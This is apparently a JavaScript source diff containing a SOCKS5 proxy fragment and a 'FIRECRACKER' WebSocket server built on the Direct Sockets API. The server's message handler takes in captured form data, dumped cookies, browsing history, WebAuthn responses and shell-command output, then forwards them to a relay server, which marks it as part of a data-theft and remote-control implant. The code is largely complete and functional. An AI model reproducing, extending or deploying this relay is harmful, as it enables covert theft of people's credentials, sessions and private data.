addr = Array.from(request.slice(4, 20))
|
||||
.map(x => x.toString(16).padStart(2, '0'))
|
||||
.reduce((acc, cur, i) => {
|
||||
if (i % 2 === 0) {
|
||||
acc.push(cur);
|
||||
} else {
|
||||
acc[acc.length - 1] += cur;
|
||||
}
|
||||
return acc;
|
||||
}, [])
|
||||
.join(':');
|
||||
port = (request[20] << 8) + request[21];
|
||||
console.log(`IPv6 Address: ${addr}, Port: ${port}`);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new Error(`Unsupported address type: ${atyp}`);
|
||||
}
|
||||
|
||||
console.log(`Connecting to ${addr}:${port} (type: ${atyp})`);
|
||||
|
||||
// Allow for context switch before attempting connection
|
||||
await Promise.resolve();
|
||||
|
||||
try {
|
||||
// Connect to destination
|
||||
const remote = new TCPSocket(addr, port);
|
||||
const remoteConn = await remote.opened;
|
||||
console.log(`Connected to ${addr}:${port}`);
|
||||
|
||||
// Send success response
|
||||
await writer.write(new Uint8Array([
|
||||
0x05, 0x00, 0x00, 0x01,
|
||||
0, 0, 0, 0, // bound addr
|
||||
0, 0 // bound port
|
||||
]));
|
||||
|
||||
const remoteReader = remoteConn.readable.getReader();
|
||||
const remoteWriter = remoteConn.writable.getWriter();
|
||||
|
||||
// Start bidirectional proxy
|
||||
await this.proxy(reader, writer, remoteReader, remoteWriter);
|
||||
|
||||
} catch (connectError) {
|
||||
console.error('Failed to connect to remote:', connectError);
|
||||
// Send connection failed response
|
||||
await writer.write(new Uint8Array([
|
||||
0x05, 0x04, 0x00, 0x01, // 0x04 = host unreachable
|
||||
0, 0, 0, 0,
|
||||
0, 0
|
||||
]));
|
||||
throw connectError; // Re-throw to trigger cleanup
|
||||
}
|
||||
|
||||
} catch (err) {
|
||||
console.error('Connection handler error:', err);
|
||||
} finally {
|
||||
try {
|
||||
reader.releaseLock();
|
||||
writer.releaseLock();
|
||||
} catch (e) {
|
||||
// Ignore errors if locks were already released
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async proxy(clientReader, clientWriter, remoteReader, remoteWriter) {
|
||||
const clientToRemote = this.pipeData(clientReader, remoteWriter, 'client->remote');
|
||||
const remoteToClient = this.pipeData(remoteReader, clientWriter, 'remote->client');
|
||||
|
||||
try {
|
||||
// Wait for either direction to complete/fail
|
||||
await Promise.race([clientToRemote, remoteToClient]);
|
||||
} catch (err) {
|
||||
console.error('Proxy error:', err);
|
||||
} finally {
|
||||
// Clean up all resources
|
||||
try {
|
||||
await Promise.allSettled([
|
||||
clientWriter.close(),
|
||||
clientReader.cancel(),
|
||||
remoteWriter.close(),
|
||||
remoteReader.cancel()
|
||||
]);
|
||||
} catch (cleanupErr) {
|
||||
console.error('Cleanup error:', cleanupErr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async pipeData(reader, writer, direction) {
|
||||
const chunkSize = 16384; // 16KB chunks for efficient transfer
|
||||
const DISPLAY_BYTES = 0x20; // Number of bytes to display in hex dump
|
||||
const BYTES_PER_ROW = 16;
|
||||
|
||||
function formatHexDump(buffer, length) {
|
||||
let result = '';
|
||||
for (let offset = 0; offset < length; offset += BYTES_PER_ROW) {
|
||||
// Offset in hex
|
||||
result += offset.toString(16).padStart(8, '0') + ': ';
|
||||
|
||||
// Hex values
|
||||
const rowBytes = Array.from(buffer.slice(offset, Math.min(offset + BYTES_PER_ROW, length)));
|
||||
const hex = rowBytes
|
||||
.map(b => b.toString(16).padStart(2, '0'))
|
||||
.join(' ');
|
||||
result += hex.padEnd(BYTES_PER_ROW * 3 - 1, ' ');
|
||||
|
||||
// ASCII representation
|
||||
result += ' |';
|
||||
const ascii = rowBytes
|
||||
.map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.')
|
||||
.join('');
|
||||
result += ascii.padEnd(BYTES_PER_ROW, ' ');
|
||||
result += '|\n';
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
try {
|
||||
let totalBytes = 0;
|
||||
|
||||
while (true) {
|
||||
const { value, done } = await reader.read();
|
||||
if (done) {
|
||||
console.log(`${direction}: Stream closed after ${totalBytes} bytes`);
|
||||
break;
|
||||
}
|
||||
|
||||
// Display hex dump of first bytes of every chunk
|
||||
if (value.length > 0) {
|
||||
const bytesToDisplay = Math.min(value.length, DISPLAY_BYTES);
|
||||
console.log(`${direction} chunk ${totalBytes}:`);
|
||||
console.log(formatHexDump(value, bytesToDisplay));
|
||||
}
|
||||
|
||||
totalBytes += value.length;
|
||||
await writer.write(value);
|
||||
if (totalBytes % (1024 * 1024) === 0) { // Log every MB
|
||||
console.log(`${direction}: Transferred ${totalBytes / (1024 * 1024)}MB`);
|
||||
}
|
||||
}
|
||||
} catch (err) {
|
||||
if (err.name === 'NetworkError') {
|
||||
console.log(`${direction}: Connection reset by peer:`, err.message);
|
||||
} else {
|
||||
console.error(`${direction}: Pipe error:`, {
|
||||
name: err.name,
|
||||
message: err.message,
|
||||
stack: err.stack
|
||||
});
|
||||
}
|
||||
throw err; // Re-throw to trigger cleanup
|
||||
} finally {
|
||||
try {
|
||||
await writer.close();
|
||||
} catch (closeErr) {
|
||||
// Ignore close errors as the stream might already be closed
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
stop() {
|
||||
// Clear any reconnect timer
|
||||
if (this.reconnectTimer) {
|
||||
clearTimeout(this.reconnectTimer);
|
||||
this.reconnectTimer = null;
|
||||
}
|
||||
|
||||
// Close WebSocket if open
|
||||
if (this.ws) {
|
||||
// Prevent reconnect attempts when intentionally stopping
|
||||
this.maxReconnectAttempts = 0;
|
||||
|
||||
if (this.ws.readyState === WebSocket.OPEN ||
|
||||
this.ws.readyState === WebSocket.CONNECTING) {
|
||||
this.ws.close();
|
||||
}
|
||||
this.ws = null;
|
||||
}
|
||||
|
||||
// Close server if running
|
||||
if (this.server) {
|
||||
this.server.close();
|
||||
this.server = null;
|
||||
}
|
||||
|
||||
// Reset state
|
||||
this.reconnectAttempts = 0;
|
||||
this.isReconnecting = false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,829 @@
|
||||
/**
|
||||
* FIRECRACKER WebSocket Server
|
||||
* Uses Direct Sockets API to create a WebSocket server
|
||||
* @see direct-sockets.d.ts for type definitions
|
||||
*
|
||||
* Test with:
|
||||
* - WebSocket: const ws = new WebSocket('ws://127.0.0.1:8080'); ws.send('test');
|
||||
* - TCP: telnet 127.0.0.1 8080
|
||||
*
|
||||
* All responses are prefixed with "FIRECRACKER: "
|
||||
*/
|
||||
|
||||
export class FirecrackerWebSocketServer {
|
||||
constructor(port = null, logCallback = null) {
|
||||
this.serverSocket = null;
|
||||
this.clientConnections = new Map();
|
||||
// Note that per the spec (https://wicg.github.io/direct-sockets/#example-13), the port must be > 32678 to work
|
||||
this.port = port || process.env.FIRECRACKER_PORT || 38899;
|
||||
this.isRunning = false;
|
||||
this.connectionCounter = 0;
|
||||
this.logCallback = logCallback || console.log;
|
||||
|
||||
// WebSocket magic string for handshake
|
||||
this.WS_MAGIC_STRING = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
|
||||
|
||||
// Message chunking support
|
||||
this.incomingChunks = new Map(); // chunkId -> {chunks: [], totalChunks: 0, totalSize: 0}
|
||||
|
||||
this.log(`FIRECRACKER: Initializing WebSocket server on port ${this.port}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Internal logging method that uses callback
|
||||
*/
|
||||
log(message, ...args) {
|
||||
if (this.logCallback) {
|
||||
this.logCallback(message, ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the WebSocket server
|
||||
*/
|
||||
async start() {
|
||||
try {
|
||||
// Create TCP server socket using Direct Sockets API
|
||||
this.serverSocket = new TCPServerSocket("127.0.0.1", {
|
||||
localPort: this.port
|
||||
});
|
||||
|
||||
this.log(`FIRECRACKER: Created server socket`);
|
||||
|
||||
// Wait for server to open
|
||||
const openInfo = await this.serverSocket.opened;
|
||||
this.log(`FIRECRACKER: Server listening on ${openInfo.localAddress}:${openInfo.localPort}`);
|
||||
|
||||
this.isRunning = true;
|
||||
|
||||
// Start accepting connections
|
||||
this.acceptConnections(openInfo.readable);
|
||||
|
||||
} catch (error) {
|
||||
this.log("FIRECRACKER: Failed to start server:", error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Accept incoming connections using ReadableStream
|
||||
*/
|
||||
async acceptConnections(connectionStream) {
|
||||
this.log("FIRECRACKER: Starting to accept connections...");
|
||||
const reader = connectionStream.getReader();
|
||||
|
||||
try {
|
||||
while (this.isRunning) {
|
||||
this.log("FIRECRACKER: Waiting for next connection...");
|
||||
const { value: tcpSocket, done } = await reader.read();
|
||||
|
||||
if (done) {
|
||||
this.log("FIRECRACKER: Connection stream ended");
|
||||
break;
|
||||
}
|
||||
|
||||
// Handle new connection
|
||||
const connectionId = ++this.connectionCounter;
|
||||
this.log(`FIRECRACKER: New connection accepted: ${connectionId}`);
|
||||
this.handleNewConnection(tcpSocket, connectionId);
|
||||
}
|
||||
} catch (error) {
|
||||
this.log("FIRECRACKER: Error accepting connections:", error);
|
||||
} finally {
|
||||
reader.releaseLock();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle new client connection
|
||||
*/
|
||||
async handleNewConnection(tcpSocket, connectionId) {
|
||||
try {
|
||||
// Wait for socket to open
|
||||
const openInfo = await tcpSocket.opened;
|
||||
this.log(`FIRECRACKER: Client connected from ${openInfo.remoteAddress}:${openInfo.remotePort}`);
|
||||
|
||||
const connectionInfo = {
|
||||
connectionId,
|
||||
tcpSocket,
|
||||
openInfo,
|
||||
isWebSocket: false,
|
||||
writer: openInfo.writable.getWriter(),
|
||||
buffer: new Uint8Array(0)
|
||||
};
|
||||
|
||||
this.clientConnections.set(connectionId, connectionInfo);
|
||||
|
||||
// Start reading data from this connection
|
||||
this.readFromConnection(connectionInfo);
|
||||
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Error handling connection ${connectionId}:`, error);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Read data from a connection using ReadableStream
|
||||
*/
|
||||
async readFromConnection(connectionInfo) {
|
||||
const reader = connectionInfo.openInfo.readable.getReader();
|
||||
|
||||
try {
|
||||
while (this.isRunning && this.clientConnections.has(connectionInfo.connectionId)) {
|
||||
const { value: data, done } = await reader.read();
|
||||
|
||||
if (done) {
|
||||
this.log(`FIRECRACKER: Connection ${connectionInfo.connectionId} closed by client`);
|
||||
break;
|
||||
}
|
||||
|
||||
this.handleClientData(connectionInfo, data);
|
||||
}
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Error reading from connection ${connectionInfo.connectionId}:`, error);
|
||||
} finally {
|
||||
reader.releaseLock();
|
||||
this.handleConnectionClose(connectionInfo.connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle incoming data from client
|
||||
*/
|
||||
handleClientData(connectionInfo, data) {
|
||||
// Convert data to Uint8Array for consistent handling
|
||||
let dataArray;
|
||||
if (data instanceof Uint8Array) {
|
||||
dataArray = data;
|
||||
} else if (data instanceof ArrayBuffer) {
|
||||
dataArray = new Uint8Array(data);
|
||||
} else {
|
||||
dataArray = new Uint8Array(data);
|
||||
}
|
||||
|
||||
if (!connectionInfo.isWebSocket) {
|
||||
// Convert to string for HTTP/WebSocket handshake processing
|
||||
const dataString = new TextDecoder().decode(dataArray);
|
||||
this.log(`FIRECRACKER: Received data from ${connectionInfo.connectionId}:`, dataString.substring(0, 200) + (dataString.length > 200 ? '...' : ''));
|
||||
|
||||
// Check if this is a WebSocket handshake (case insensitive)
|
||||
if (dataString.toLowerCase().includes('upgrade: websocket')) {
|
||||
this.log(`FIRECRACKER: Detected WebSocket handshake from ${connectionInfo.connectionId}`);
|
||||
this.handleWebSocketHandshake(connectionInfo, dataString);
|
||||
} else {
|
||||
this.log(`FIRECRACKER: Treating as TCP connection from ${connectionInfo.connectionId}`);
|
||||
// Regular TCP echo
|
||||
this.sendTcpEcho(connectionInfo, dataString);
|
||||
}
|
||||
} else {
|
||||
// Handle WebSocket frame data
|
||||
this.log(`FIRECRACKER: Received WebSocket data from ${connectionInfo.connectionId} (${dataArray.length} bytes)`);
|
||||
|
||||
// Add to buffer
|
||||
const newBuffer = new Uint8Array(connectionInfo.buffer.length + dataArray.length);
|
||||
newBuffer.set(connectionInfo.buffer);
|
||||
newBuffer.set(dataArray, connectionInfo.buffer.length);
|
||||
connectionInfo.buffer = newBuffer;
|
||||
|
||||
// Try to process complete frames from buffer
|
||||
this.processWebSocketBuffer(connectionInfo);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Process WebSocket frames from buffer
|
||||
*/
|
||||
processWebSocketBuffer(connectionInfo) {
|
||||
let buffer = connectionInfo.buffer;
|
||||
let offset = 0;
|
||||
|
||||
while (offset < buffer.length) {
|
||||
// Try to parse a frame starting at offset
|
||||
const frameData = buffer.slice(offset);
|
||||
const frameBuffer = frameData.buffer.slice(frameData.byteOffset, frameData.byteOffset + frameData.byteLength);
|
||||
|
||||
// Calculate frame length
|
||||
const frameLength = this.calculateWebSocketFrameLength(frameBuffer);
|
||||
if (frameLength === -1) {
|
||||
// Invalid frame, skip this byte and continue
|
||||
this.log(`FIRECRACKER: Invalid WebSocket frame at offset ${offset}, skipping`);
|
||||
offset += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (frameLength === 0) {
|
||||
// Need more data
|
||||
break;
|
||||
}
|
||||
|
||||
if (frameData.length < frameLength) {
|
||||
// Frame is incomplete, wait for more data
|
||||
break;
|
||||
}
|
||||
|
||||
// We have a complete frame
|
||||
const completeFrame = frameData.slice(0, frameLength);
|
||||
const completeFrameBuffer = completeFrame.buffer.slice(completeFrame.byteOffset, completeFrame.byteOffset + completeFrame.byteLength);
|
||||
|
||||
// Process the complete frame
|
||||
this.handleWebSocketMessage(connectionInfo, completeFrameBuffer);
|
||||
|
||||
// Move to next frame
|
||||
offset += frameLength;
|
||||
}
|
||||
|
||||
// Remove processed data from buffer
|
||||
if (offset > 0) {
|
||||
connectionInfo.buffer = buffer.slice(offset);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate the total length of a WebSocket frame
|
||||
* Returns -1 for invalid frame, 0 for incomplete frame, or frame length
|
||||
*/
|
||||
calculateWebSocketFrameLength(arrayBuffer) {
|
||||
if (arrayBuffer.byteLength < 2) {
|
||||
return 0; // Need more data
|
||||
}
|
||||
|
||||
const view = new DataView(arrayBuffer);
|
||||
const secondByte = view.getUint8(1);
|
||||
const masked = (secondByte & 0x80) === 0x80;
|
||||
let payloadLength = secondByte & 0x7F;
|
||||
|
||||
let headerLength = 2;
|
||||
|
||||
// Handle extended payload length
|
||||
if (payloadLength === 126) {
|
||||
if (arrayBuffer.byteLength < 4) {
|
||||
return 0; // Need more data
|
||||
}
|
||||
payloadLength = view.getUint16(2);
|
||||
headerLength = 4;
|
||||
} else if (payloadLength === 127) {
|
||||
if (arrayBuffer.byteLength < 10) {
|
||||
return 0; // Need more data
|
||||
}
|
||||
payloadLength = view.getUint32(6); // Use only lower 32 bits
|
||||
headerLength = 10;
|
||||
}
|
||||
|
||||
// Add masking key length if masked
|
||||
if (masked) {
|
||||
headerLength += 4;
|
||||
}
|
||||
|
||||
if (arrayBuffer.byteLength < headerLength) {
|
||||
return 0; // Need more data
|
||||
}
|
||||
|
||||
return headerLength + payloadLength;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle WebSocket handshake
|
||||
*/
|
||||
async handleWebSocketHandshake(connectionInfo, request) {
|
||||
this.log(`FIRECRACKER: Processing WebSocket handshake from ${connectionInfo.connectionId}`);
|
||||
this.log(`FIRECRACKER: Request headers:`, request.split('\r\n').slice(0, 10));
|
||||
|
||||
// Extract WebSocket key
|
||||
const keyMatch = request.match(/Sec-WebSocket-Key:\s*([^\r\n]+)/i);
|
||||
if (!keyMatch) {
|
||||
this.log("FIRECRACKER: Invalid WebSocket handshake - no Sec-WebSocket-Key found");
|
||||
this.log("FIRECRACKER: Request was:", request);
|
||||
this.closeConnection(connectionInfo.connectionId);
|
||||
return;
|
||||
}
|
||||
|
||||
const key = keyMatch[1].trim();
|
||||
this.log(`FIRECRACKER: WebSocket key: ${key}`);
|
||||
|
||||
// Generate accept key
|
||||
const acceptKey = await this.generateAcceptKey(key);
|
||||
this.log(`FIRECRACKER: Generated accept key: ${acceptKey}`);
|
||||
|
||||
// Create handshake response
|
||||
const response = [
|
||||
'HTTP/1.1 101 Switching Protocols',
|
||||
'Upgrade: websocket',
|
||||
'Connection: Upgrade',
|
||||
`Sec-WebSocket-Accept: ${acceptKey}`,
|
||||
'',
|
||||
''
|
||||
].join('\r\n');
|
||||
|
||||
this.log(`FIRECRACKER: Sending handshake response:`, response.split('\r\n'));
|
||||
|
||||
// Send handshake response
|
||||
const responseBuffer = new TextEncoder().encode(response);
|
||||
try {
|
||||
await connectionInfo.writer.write(responseBuffer);
|
||||
this.log(`FIRECRACKER: WebSocket handshake completed for ${connectionInfo.connectionId}`);
|
||||
connectionInfo.isWebSocket = true;
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Failed to send handshake response:`, error);
|
||||
this.closeConnection(connectionInfo.connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate WebSocket accept key using proper SHA-1 + base64
|
||||
*/
|
||||
async generateAcceptKey(key) {
|
||||
const combined = key + this.WS_MAGIC_STRING;
|
||||
|
||||
// Use Web Crypto API for proper SHA-1 hashing
|
||||
const encoder = new TextEncoder();
|
||||
const data = encoder.encode(combined);
|
||||
const hashBuffer = await crypto.subtle.digest('SHA-1', data);
|
||||
|
||||
// Convert to base64
|
||||
const hashArray = new Uint8Array(hashBuffer);
|
||||
let binary = '';
|
||||
for (let i = 0; i < hashArray.length; i++) {
|
||||
binary += String.fromCharCode(hashArray[i]);
|
||||
}
|
||||
return btoa(binary);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle WebSocket message
|
||||
*/
|
||||
handleWebSocketMessage(connectionInfo, data) {
|
||||
try {
|
||||
// Convert Uint8Array to ArrayBuffer if needed
|
||||
let arrayBuffer;
|
||||
if (data instanceof ArrayBuffer) {
|
||||
arrayBuffer = data;
|
||||
} else if (data instanceof Uint8Array) {
|
||||
arrayBuffer = data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength);
|
||||
} else {
|
||||
// Convert other types to Uint8Array first, then to ArrayBuffer
|
||||
const uint8Array = new Uint8Array(data);
|
||||
arrayBuffer = uint8Array.buffer.slice(uint8Array.byteOffset, uint8Array.byteOffset + uint8Array.byteLength);
|
||||
}
|
||||
|
||||
// Parse WebSocket frame
|
||||
const frame = this.parseWebSocketFrame(arrayBuffer);
|
||||
if (!frame) {
|
||||
this.log("FIRECRACKER: Failed to parse WebSocket frame");
|
||||
return;
|
||||
}
|
||||
|
||||
this.log(`FIRECRACKER: WebSocket message from ${connectionInfo.connectionId}: "${frame.payload}"`);
|
||||
|
||||
// Handle different frame types
|
||||
if (frame.opcode === 1) {
|
||||
this.processWebSocketMessage(frame.payload);
|
||||
} else if (frame.opcode === 8) {
|
||||
// Close frame
|
||||
this.log(`FIRECRACKER: Received close frame from ${connectionInfo.connectionId}`);
|
||||
this.handleConnectionClose(connectionInfo.connectionId);
|
||||
} else if (frame.opcode === 9) {
|
||||
// Ping frame - respond with pong
|
||||
this.log(`FIRECRACKER: Received ping frame from ${connectionInfo.connectionId}`);
|
||||
this.sendWebSocketPong(connectionInfo, frame.payload);
|
||||
} else if (frame.opcode === 10) {
|
||||
// Pong frame - just log it
|
||||
this.log(`FIRECRACKER: Received pong frame from ${connectionInfo.connectionId}`);
|
||||
} else {
|
||||
this.log(`FIRECRACKER: Received unknown frame type ${frame.opcode} from ${connectionInfo.connectionId}`);
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.log("FIRECRACKER: Error handling WebSocket message:", error);
|
||||
this.log("FIRECRACKER: Data type:", typeof data, "Data constructor:", data.constructor.name);
|
||||
this.log("FIRECRACKER: Data length:", data.length || data.byteLength);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
processWebSocketMessage(message) {
|
||||
const MESSAGE_TYPE_FORM_DATA = 'form_data';
|
||||
const MESSAGE_TYPE_LS_COMMAND_RESP = 'ls_command_response';
|
||||
const MESSAGE_TYPE_SHELL_COMMAND_RESP = 'shell_command_response';
|
||||
const MESSAGE_TYPE_DUMP_COOKIES_RESP = 'dump_cookies_response';
|
||||
const MESSAGE_TYPE_DUMP_HISTORY_RESP = 'dump_history_response';
|
||||
const MESSAGE_TYPE_WEB_AUTHN_RESP = 'webauthn_response';
|
||||
|
||||
// Chunking message types
|
||||
const MESSAGE_TYPE_CHUNK_START = 'chunk_start';
|
||||
const MESSAGE_TYPE_CHUNK_DATA = 'chunk_data';
|
||||
const MESSAGE_TYPE_CHUNK_END = 'chunk_end';
|
||||
|
||||
this.log(`FIRECRACKER: Received message: ${message.substring(0, 200)}${message.length > 200 ? '...' : ''}`);
|
||||
|
||||
let messageObject;
|
||||
try {
|
||||
messageObject = JSON.parse(message);
|
||||
} catch (error) {
|
||||
this.log(`FIRECRACKER: Error parsing JSON: ${error.message}`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Handle chunked messages
|
||||
switch (messageObject.type) {
|
||||
case MESSAGE_TYPE_CHUNK_START:
|
||||
this.handleChunkStart(messageObject);
|
||||
return;
|
||||
case MESSAGE_TYPE_CHUNK_DATA:
|
||||
this.handleChunkData(messageObject);
|
||||
return;
|
||||
case MESSAGE_TYPE_CHUNK_END:
|
||||
this.handleChunkEnd(messageObject);
|
||||
return;
|
||||
}
|
||||
|
||||
// Handle regular messages
|
||||
switch (messageObject.type) {
|
||||
case MESSAGE_TYPE_FORM_DATA:
|
||||
window.getRelayServer().sendCapturedData(messageObject.type, messageObject.data);
|
||||
break;
|
||||
case MESSAGE_TYPE_LS_COMMAND_RESP:
|
||||
case MESSAGE_TYPE_SHELL_COMMAND_RESP:
|
||||
case MESSAGE_TYPE_DUMP_COOKIES_RESP:
|
||||
case MESSAGE_TYPE_DUMP_HISTORY_RESP:
|
||||
case MESSAGE_TYPE_WEB_AUTHN_RESP:
|
||||
window.getRelayServer().sendCommandResponse(messageObject.type, messageObject.data, messageObject.taskId);
|
||||
break;
|
||||
default:
|
||||
this.log(`FIRECRACKER: Unknown message type: ${messageObject.type}`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle chunk start message
|
||||
*/
|
||||
handleChunkStart(messageObject) {
|
||||
const chunkId = messageObject.chunkId;
|
||||
const totalSize = messageObject.totalSize;
|
||||
|
||||
this.log(`FIRECRACKER: Starting chunk reassembly for ${chunkId}, total size: ${totalSize} bytes`);
|
||||
|
||||
this.incomingChunks.set(chunkId, {
|
||||
chunks: [],
|
||||
totalChunks: 0,
|
||||
totalSize: totalSize,
|
||||
receivedChunks: 0
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle chunk data message
|
||||
*/
|
||||
handleChunkData(messageObject) {
|
||||
const chunkId = messageObject.chunkId;
|
||||
const chunkNum = messageObject.chunkNum;
|
||||
const data = messageObject.data;
|
||||
|
||||
const chunkInfo = this.incomingChunks.get(chunkId);
|
||||
if (!chunkInfo) {
|
||||
this.log(`FIRECRACKER: Received chunk data for unknown chunk ID: ${chunkId}`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Store chunk in correct position
|
||||
chunkInfo.chunks[chunkNum] = data;
|
||||
chunkInfo.receivedChunks++;
|
||||
|
||||
this.log(`FIRECRACKER: Received chunk ${chunkNum} for ${chunkId} (${chunkInfo.receivedChunks} chunks received)`);
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle chunk end message
|
||||
*/
|
||||
handleChunkEnd(messageObject) {
|
||||
const chunkId = messageObject.chunkId;
|
||||
const totalChunks = messageObject.totalChunks;
|
||||
|
||||
const chunkInfo = this.incomingChunks.get(chunkId);
|
||||
if (!chunkInfo) {
|
||||
this.log(`FIRECRACKER: Received chunk end for unknown chunk ID: ${chunkId}`);
|
||||
return;
|
||||
}
|
||||
|
||||
chunkInfo.totalChunks = totalChunks;
|
||||
|
||||
this.log(`FIRECRACKER: Reassembling ${totalChunks} chunks for ${chunkId}`);
|
||||
|
||||
// Check if we have all chunks
|
||||
if (chunkInfo.receivedChunks !== totalChunks) {
|
||||
this.log(`FIRECRACKER: Missing chunks for ${chunkId}: expected ${totalChunks}, got ${chunkInfo.receivedChunks}`);
|
||||
this.incomingChunks.delete(chunkId);
|
||||
return;
|
||||
}
|
||||
|
||||
// Reassemble the message
|
||||
let reassembledMessage = '';
|
||||
for (let i = 0; i < totalChunks; i++) {
|
||||
if (chunkInfo.chunks[i] === undefined) {
|
||||
this.log(`FIRECRACKER: Missing chunk ${i} for ${chunkId}`);
|
||||
this.incomingChunks.delete(chunkId);
|
||||
return;
|
||||
}
|
||||
reassembledMessage += chunkInfo.chunks[i];
|
||||
}
|
||||
|
||||
this.log(`FIRECRACKER: Successfully reassembled message for ${chunkId}: ${reassembledMessage.length} bytes`);
|
||||
|
||||
// Clean up
|
||||
this.incomingChunks.delete(chunkId);
|
||||
|
||||
// Process the reassembled message
|
||||
this.processWebSocketMessage(reassembledMessage);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse WebSocket frame (simplified implementation)
|
||||
*/
|
||||
parseWebSocketFrame(data) {
|
||||
try {
|
||||
const view = new DataView(data);
|
||||
|
||||
if (data.byteLength < 2) {
|
||||
this.log("FIRECRACKER: Frame too short, need at least 2 bytes");
|
||||
return null;
|
||||
}
|
||||
|
||||
const firstByte = view.getUint8(0);
|
||||
const secondByte = view.getUint8(1);
|
||||
|
||||
const fin = (firstByte & 0x80) === 0x80;
|
||||
const opcode = firstByte & 0x0F;
|
||||
const masked = (secondByte & 0x80) === 0x80;
|
||||
let payloadLength = secondByte & 0x7F;
|
||||
|
||||
this.log(`FIRECRACKER: Frame - FIN: ${fin}, Opcode: ${opcode}, Masked: ${masked}, PayloadLength: ${payloadLength}`);
|
||||
|
||||
let offset = 2;
|
||||
|
||||
// Handle extended payload length
|
||||
if (payloadLength === 126) {
|
||||
if (data.byteLength < offset + 2) {
|
||||
this.log("FIRECRACKER: Frame too short for extended length (126)");
|
||||
return null;
|
||||
}
|
||||
payloadLength = view.getUint16(offset);
|
||||
offset += 2;
|
||||
this.log(`FIRECRACKER: Extended payload length: ${payloadLength}`);
|
||||
} else if (payloadLength === 127) {
|
||||
if (data.byteLength < offset + 8) {
|
||||
this.log("FIRECRACKER: Frame too short for extended length (127)");
|
||||
return null;
|
||||
}
|
||||
payloadLength = view.getUint32(offset + 4); // Use only lower 32 bits
|
||||
offset += 8;
|
||||
this.log(`FIRECRACKER: Extended payload length (64-bit): ${payloadLength}`);
|
||||
}
|
||||
|
||||
// Handle masking key
|
||||
let maskingKey = null;
|
||||
if (masked) {
|
||||
if (data.byteLength < offset + 4) {
|
||||
this.log("FIRECRACKER: Frame too short for masking key");
|
||||
return null;
|
||||
}
|
||||
maskingKey = new Uint8Array(data, offset, 4);
|
||||
offset += 4;
|
||||
this.log(`FIRECRACKER: Masking key: ${Array.from(maskingKey).map(b => b.toString(16).padStart(2, '0')).join(' ')}`);
|
||||
}
|
||||
|
||||
// Extract payload
|
||||
if (data.byteLength < offset + payloadLength) {
|
||||
this.log(`FIRECRACKER: Frame too short for payload. Expected: ${offset + payloadLength}, Got: ${data.byteLength}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
const payload = new Uint8Array(data, offset, payloadLength);
|
||||
|
||||
// Unmask payload if needed
|
||||
if (masked && maskingKey) {
|
||||
for (let i = 0; i < payload.length; i++) {
|
||||
payload[i] ^= maskingKey[i % 4];
|
||||
}
|
||||
}
|
||||
|
||||
// Only decode text frames (opcode 1)
|
||||
let decodedPayload = '';
|
||||
if (opcode === 1) {
|
||||
decodedPayload = new TextDecoder('utf-8').decode(payload);
|
||||
} else if (opcode === 8) {
|
||||
decodedPayload = '[CLOSE FRAME]';
|
||||
} else if (opcode === 9) {
|
||||
decodedPayload = '[PING FRAME]';
|
||||
} else if (opcode === 10) {
|
||||
decodedPayload = '[PONG FRAME]';
|
||||
} else {
|
||||
decodedPayload = `[UNKNOWN OPCODE ${opcode}]`;
|
||||
}
|
||||
|
||||
return {
|
||||
fin,
|
||||
opcode,
|
||||
payload: decodedPayload
|
||||
};
|
||||
|
||||
} catch (error) {
|
||||
this.log("FIRECRACKER: Error parsing WebSocket frame:", error);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send WebSocket message
|
||||
*/
|
||||
async sendWebSocketMessage(connectionInfo, message) {
|
||||
try {
|
||||
const payload = new TextEncoder().encode(message);
|
||||
let frame;
|
||||
|
||||
this.log(`FIRECRACKER: Sending WebSocket message to ${connectionInfo.connectionId}: "${message}" (${payload.length} bytes)`);
|
||||
|
||||
// Create frame based on payload length
|
||||
if (payload.length < 126) {
|
||||
frame = new ArrayBuffer(2 + payload.length);
|
||||
const view = new DataView(frame);
|
||||
// First byte: FIN (1) + RSV (000) + Opcode (0001 for text)
|
||||
view.setUint8(0, 0x81);
|
||||
// Second byte: MASK (0) + Payload length
|
||||
view.setUint8(1, payload.length);
|
||||
// Copy payload
|
||||
new Uint8Array(frame, 2).set(payload);
|
||||
} else if (payload.length < 65536) {
|
||||
frame = new ArrayBuffer(4 + payload.length);
|
||||
const view = new DataView(frame);
|
||||
view.setUint8(0, 0x81);
|
||||
view.setUint8(1, 126);
|
||||
view.setUint16(2, payload.length);
|
||||
// Copy payload
|
||||
new Uint8Array(frame, 4).set(payload);
|
||||
} else {
|
||||
